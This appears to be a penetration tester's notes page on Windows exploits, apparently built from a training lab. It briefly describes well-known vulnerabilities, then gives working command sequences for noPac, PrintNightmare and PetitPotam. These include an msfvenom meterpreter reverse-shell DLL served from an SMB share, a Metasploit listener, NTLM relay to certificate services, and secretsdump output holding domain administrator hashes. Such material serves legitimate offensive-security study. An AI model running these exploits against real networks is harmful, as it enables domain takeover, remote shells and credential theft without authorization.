Windows Exploit

Vulnerability

Description

MS08-067

MS08-067 was a critical patch pushed out to many different Windows revisions due to an SMB flaw. This flaw made it extremely easy to infiltrate a Windows host. It was so efficient that the Conficker worm was using it to infect every vulnerable host it came across. Even Stuxnet took advantage of this vulnerability.

Eternal Blue

MS17-010 is an exploit leaked in the Shadow Brokers dump from the NSA. This exploit was most notably used in the WannaCry ransomware and NotPetya cyber attacks. This attack took advantage of a flaw in the SMB v1 protocol allowing for code execution. EternalBlue is believed to have infected upwards of 200,000 hosts just in 2017 and is still a common way to find access into a vulnerable Windows host. MS17-010 (EternalBlue) has been known to affect hosts ranging from Windows 2008 to Server 2016 See [[Metasploit]] and [[Netexec - CME]]

PrintNightmare

A remote code execution vulnerability in the Windows Print Spooler. With valid credentials for that host or a low privilege shell, you can install a printer, add a driver that runs for you, and grants you system-level access to the host. This vulnerability has been ravaging companies through 2021. 0xdf wrote an awesome post on it here.

BlueKeep

CVE 2019-0708 is a vulnerability in Microsoft's RDP protocol that allows for Remote Code Execution. This vulnerability took advantage of a miss-called channel to gain code execution, affecting every Windows revision from Windows 2000 to Server 2008 R2.

Sigred

CVE 2020-1350 utilized a flaw in how DNS reads SIG resource records. It is a bit more complicated than the other exploits on this list, but if done correctly, it will give the attacker Domain Admin privileges since it will affect the domain's DNS server which is commonly the primary Domain Controller.

SeriousSam

CVE 2021-36924 exploits an issue with the way Windows handles permission on the C:\Windows\system32\config folder. Before fixing the issue, non-elevated users have access to the SAM database, among other files. This is not a huge issue since the files can't be accessed while in use by the pc, but this gets dangerous when looking at volume shadow copy backups. These same privilege mistakes exist on the backup files as well, allowing an attacker to read the SAM database, dumping credentials.

Zerologon

CVE 2020-1472 is a critical vulnerability that exploits a cryptographic flaw in Microsoft’s Active Directory Netlogon Remote Protocol (MS-NRPC). It allows users to log on to servers using NT LAN Manager (NTLM) and even send account changes via the protocol. The attack can be a bit complex, but it is trivial to execute since an attacker would have to make around 256 guesses at a computer account password before finding what they need. This can happen in a matter of a few seconds.

Kernel Exploits

NoPac

MachineAccountQuota

crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
StandIn.exe --object ms-DS-MachineAccountQuota=*

Scan

crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
scanner.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $DC_IP

PoC - Linux

git clone https://github.com/Ridter/noPac.git

Shell

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

Dcsync

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
python noPac.py 'domain.local/user' -hashes ':31**********59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump

Other PoC

python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell

PoC - Windows

Resources

PrintNightmare

Kernel Exploits
git clone https://github.com/cube0x0/CVE-2021-1675.git

Reco

rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
nxc smb <ip> -u 'user' -p 'pass' -M spooler
sudo docker run -it itwasalladream -u pentestlab -p Password123 -d domain 10.0.0.1 -v

Exploit

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
LHOST => 10.3.88.114
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
LPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 172.16.5.225:8080 
$ sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'

[*] Connecting to ncacn_np:172.16.5.5[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\172.16.5.225\CompData\backupscript.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...

<SNIP>

Resources

PetitPotam

Scan

nxc smb <ip> -u '' -p '' -M petitpotam

Exploit

sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
$ python3 PetitPotam.py 172.16.5.225 172.16.5.5

[*] Base64 certificate of user ACADEMY-EA-DC01$: 
MIIStQIBAzCCEn8GCSqGSIb3DQEHAaCCEnAEghJsMIISaDCCCJ8GCSqGSIb3DQEHBqCCCJAwggiMAgEAMII<SNIP>
7X2SL//FR1NM+UQsli2GgMC0wITAJBgUrDgMCGgUABBQ84uiZwm1Pz70+e0p2GZNVZDXlrwQIyr7YCKBdGmY=
[*] Skipping user ACADEMY-EA-DC01$ since attack was already performed
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache

  • Method 1:

export KRB5CCNAME=dc01.ccache
$ secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
inlanefreight.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
[*] Kerberos keys grabbed
inlanefreight.local\administrator:aes256-cts-hmac-sha1-96:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
inlanefreight.local\administrator:aes128-cts-hmac-sha1-96:95c30f88301f9fe14ef5a8103b32eb25
inlanefreight.local\administrator:des-cbc-md5:70add6e02f70321f
[*] Cleaning up...

  • Method 2:

python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
313b6f423cd1ee07e91315b4919fb4ba
$ secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
inlanefreight.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
[*] Kerberos keys grabbed
inlanefreight.local\administrator:aes256-cts-hmac-sha1-96:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
inlanefreight.local\administrator:aes128-cts-hmac-sha1-96:95c30f88301f9fe14ef5a8103b32eb25
inlanefreight.local\administrator:des-cbc-md5:70add6e02f70321f
[*] Cleaning up...

Resources

CVE-2019-0708 - BlueKeep

This is a flaw that we will likely run into during our penetration tests, but it can cause system instability, including a "blue screen of death (BSoD)," and we should be careful before using the associated exploit. If in doubt, it's best to first speak with our client so they understand the risks and then decide if they would like us to run the exploit or not.

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